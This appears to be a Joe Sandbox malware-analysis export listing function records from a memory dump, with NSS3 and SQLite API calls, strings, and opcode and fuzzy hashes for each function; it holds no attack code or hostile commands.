Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: f080b3f62b10ac3bc15a369aeb077ac363f1ab0f68a86d382aeb066b664395c5
Instruction ID: bd473cf34cbd705793c37b648c53dfdcef7b54ca5b61a93b18032f31154ddbdd
Opcode Fuzzy Hash: f080b3f62b10ac3bc15a369aeb077ac363f1ab0f68a86d382aeb066b664395c5
Instruction Fuzzy Hash: 709171B0A052058FDB04CF65C880BAAB7B1FF85358F34C56DD819ABB52D739E861CB90

Function 6CE25CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE25EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE25EED

Strings

misuse, xrefs: 6CE25EDB
invalid, xrefs: 6CE25EBE
%s at line %d of [%.10s], xrefs: 6CE25EE0
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE25E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE25ED1
API call with %s database connection pointer, xrefs: 6CE25EC3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: b01359552716a8e3999bc76fb2f0291ac769ad5f4efec9216c2fbe7c0bb592b3
Instruction ID: 35dfb961a728062abeda6e71b180cbb62ff0c90aadbac692441a241d39f26498
Opcode Fuzzy Hash: b01359552716a8e3999bc76fb2f0291ac769ad5f4efec9216c2fbe7c0bb592b3
Instruction Fuzzy Hash: 0781BF70B07A019BEB19CF25CA48BAA7770BF4230CF384669D8155BB59D738EC52CB91

Function 6CE0DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE0DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0DF78

Strings

database corruption, xrefs: 6CE0DE5C, 6CE0DE8B
%s at line %d of [%.10s], xrefs: 6CE0DE61, 6CE0DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0DE52, 6CE0DE81

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 3244093b5dbdf48dac0d56c5656422529b1196091270d79583c257c3f670d665
Instruction ID: 55297cc64cf904af7b697636ba3b1f38871ca14270a6e2ca44daf9c8acf03283
Opcode Fuzzy Hash: 3244093b5dbdf48dac0d56c5656422529b1196091270d79583c257c3f670d665
Instruction Fuzzy Hash: A481B2757043019FD714DF25C880B6AB7F1AF4530CF24892DE89A8BB51E731EA56CB92

Function 6CDBCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDBB999), ref: 6CDBCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDBB999), ref: 6CDBD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CDBB999), ref: 6CDBD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CDBB999), ref: 6CF0972B

Strings

database corruption, xrefs: 6CDBCFE7, 6CDBD013, 6CDBD028, 6CDBD039, 6CDBD03E, 6CF09786
%s at line %d of [%.10s], xrefs: 6CDBCFEC, 6CDBD018, 6CDBD029, 6CDBD03F, 6CF0978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDBCFDD, 6CDBD00E, 6CDBD022, 6CDBD033, 6CF09780

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 61ff6e49c9cdd467c1dbdfe5e71c3b0a7079b67345ea74f25e4af77bae0477e4
Instruction ID: be2fcf2a0e297049f099fd898fb3ddf1b4b2359da65481fdcb3c32b8f6ba5e6c
Opcode Fuzzy Hash: 61ff6e49c9cdd467c1dbdfe5e71c3b0a7079b67345ea74f25e4af77bae0477e4
Instruction Fuzzy Hash: 196149B2A052108BD310CF2AC840BA7B7F5EF95318F1845ADE449AFB52E376D946C7A1

Function 6CEBFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEC5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEC5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CEC0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC0130
PORT_Alloc_Util.NSS3(00000040), ref: 6CEC015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CEC01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CEC0202
free.MOZGLUE(?), ref: 6CEC0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC0253

Strings

exporter, xrefs: 6CEC00F7

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 52ba34b968c62acb6807c8fe107f9ba2f11858473d93f74ca6329fc2244d2d5c
Instruction ID: cec3dd4cbf163e0b607eac5ab6ae44b05715081b3e1a2d172e8848b99621102f
Opcode Fuzzy Hash: 52ba34b968c62acb6807c8fe107f9ba2f11858473d93f74ca6329fc2244d2d5c
Instruction Fuzzy Hash: 4261F3B2A007899BEF118FA4CE00BEAB7B6BF4430CF24452CED2A56751E731A955C742

Function 6CE94DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CE9536F,00000022,?,?,00000000,?), ref: 6CE94E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CE94F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CE94F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CE94FAE
free.MOZGLUE(?), ref: 6CE94FC8

Strings

oSl", xrefs: 6CE94DFB, 6CE94EF4, 6CE94EC5
%s=%s, xrefs: 6CE94F89
%s=%c%s%c, xrefs: 6CE94FA9

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: a7bb4a16567aa2fe34c6c50b63df2f23886e7b6a39d0a7deff4732c1a9b3011d
Instruction ID: e6f62e8aa49dacb6ed17bad175cf6e007d0bc571f34703888de0a2d7305b1701
Opcode Fuzzy Hash: a7bb4a16567aa2fe34c6c50b63df2f23886e7b6a39d0a7deff4732c1a9b3011d
Instruction Fuzzy Hash: 6B512831E0524A9BEB01CA6A84917FF7BF59F4630CF388127E8B5ABB41D335990587A1

Function 6CEBEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CEDA4A1,?,00000000,?,00000001), ref: 6CEBEF6D

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

htonl.WSOCK32(00000000,?,6CEDA4A1,?,00000000,?,00000001), ref: 6CEBEFE4
htonl.WSOCK32(?,00000000,?,6CEDA4A1,?,00000000,?,00000001), ref: 6CEBEFF1
memcpy.VCRUNTIME140(?,?,6CEDA4A1,?,00000000,?,6CEDA4A1,?,00000000,?,00000001), ref: 6CEBF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CEDA4A1,?,00000000,?,00000001), ref: 6CEBF027

Strings

dtls13, xrefs: 6CEBEF33

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: bf43fc43407de0415069f48d14f3d0cb9e8500f47baf1999629f5f225ba338b3
Instruction ID: 815bbe32e4fcf1eabb558abf281dfd19215231fd6bc1f4eacda6fa0d7b0579f3
Opcode Fuzzy Hash: bf43fc43407de0415069f48d14f3d0cb9e8500f47baf1999629f5f225ba338b3
Instruction Fuzzy Hash: 7E314671A01610AFC700CF28DD81BAAB7F4EF4934CF258069E818AB751E731E915CBE1

Function 6CE3AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE3AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF59500,6CE33F91), ref: 6CE3AFD2

Part of subcall function 6CE8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF618D0,?), ref: 6CE8B095

DER_GetInteger_Util.NSS3(?), ref: 6CE3B007

Part of subcall function 6CE86A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE31666,?,6CE3B00C,?), ref: 6CE86AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE3B02F
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE3B046
PL_FreeArenaPool.NSS3 ref: 6CE3B058
PL_FinishArenaPool.NSS3 ref: 6CE3B060

Strings

security, xrefs: 6CE3AFB8

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 5c8af372e1a49cdcb3e53efde4f024e5ea1563e72f201d1a4248ce5e4f33b4d2
Instruction ID: 2fde385d20871153f6773e9765cad7f7a7aa07ce3ee70c2e5f850b89d7ee4a70
Opcode Fuzzy Hash: 5c8af372e1a49cdcb3e53efde4f024e5ea1563e72f201d1a4248ce5e4f33b4d2
Instruction Fuzzy Hash: EA312671804300D7DB108F249840BAA77B4AF8636CF30061DE87A9BBD1E336A509CB97

Function 6CE33E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CE340D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE33F7F,?,00000055,?,?,6CE31666,?,?), ref: 6CE340D9
Part of subcall function 6CE340D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE31666,?,?), ref: 6CE340FC
Part of subcall function 6CE340D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE31666,?,?), ref: 6CE34138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE33EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE33ED6

Part of subcall function 6CE8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF618D0,?), ref: 6CE8B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE33EEE

Part of subcall function 6CE8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE88D2D,?,00000000,?), ref: 6CE8FB85
Part of subcall function 6CE8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE8FBB1

PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE33F02
PL_FreeArenaPool.NSS3 ref: 6CE33F14
PL_FinishArenaPool.NSS3 ref: 6CE33F1C

Part of subcall function 6CE964F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CE9127C,00000000,00000000,00000000), ref: 6CE9650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE33F27

Strings

security, xrefs: 6CE33EBC

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 27b90df96e245250e7bcb65278cd85ff4e16a706ca8f33f725ca3e199ce2c390
Instruction ID: f54d2878683053fc4e550912cff305e5e4b7ef84bed611aca9664efeefc1b40e
Opcode Fuzzy Hash: 27b90df96e245250e7bcb65278cd85ff4e16a706ca8f33f725ca3e199ce2c390
Instruction Fuzzy Hash: 90213AB2904300ABD7149B25AC02FAB77B8BB4975CF10053DF95DA7B41E731E518C796

Function 6CE7CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CE7CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CE7CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CE7D079

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 63a2ef4125939a8523c62b80f370e9aebc25e3f9821a23c7b584d8a1bceb4643
Instruction ID: 47c49b4bfe3b26a9116f13283a0dc7f704a9501a24820dc09c88cd80ff9afdb4
Opcode Fuzzy Hash: 63a2ef4125939a8523c62b80f370e9aebc25e3f9821a23c7b584d8a1bceb4643
Instruction Fuzzy Hash: D4C190B5A002199BDB20CF24CC84BDAB7B9BF49318F2441A8D94C97741E775EE95CFA0

Function 6CE6DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CE797C1,?,00000000,00000000,?,?,?,00000000,?,6CE57F4A,00000000), ref: 6CE6DC68

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE6DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE6DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE6DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE6DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE6DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE6DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE6DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CE57F4A,00000000,?,00000000,00000000), ref: 6CE6DFAA

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: a4026f36b8c0fbfcf764b4c07050dab415c44c821c28f4cc3707652b4ab305e3
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 8C81D678EE25008BFB104E5BC8A036976B2DB6534CFB4843AD51ACAFD2D779C684C642

Function 6CE43C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE43C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE43C94

Part of subcall function 6CE395B0: TlsGetValue.KERNEL32(00000000,?,6CE500D2,00000000), ref: 6CE395D2
Part of subcall function 6CE395B0: EnterCriticalSection.KERNEL32(?,?,?,6CE500D2,00000000), ref: 6CE395E7
Part of subcall function 6CE395B0: PR_Unlock.NSS3(?,?,?,?,6CE500D2,00000000), ref: 6CE39605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE43CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE43CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE43CE1

Part of subcall function 6CE43090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE5AE42), ref: 6CE430AA
Part of subcall function 6CE43090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE430C7
Part of subcall function 6CE43090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE430E5
Part of subcall function 6CE43090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE43116
Part of subcall function 6CE43090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE4312B
Part of subcall function 6CE43090: PK11_DestroyObject.NSS3(?,?), ref: 6CE43154
Part of subcall function 6CE43090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE4317E

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: e981969147b60e0563915eb300c7bebd86636bffb8b20833603b3177f214baf4
Instruction ID: f7b4ce18ecc24bf4e73b346ea753982c741bca5ee6d647a94c7670ed132d2c41
Opcode Fuzzy Hash: e981969147b60e0563915eb300c7bebd86636bffb8b20833603b3177f214baf4
Instruction Fuzzy Hash: 6361BA75A01300ABEB105EA5EC41FAB76B9EF0474CF68806CFD099AB52F721D914C7B1

Function 6CE83D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

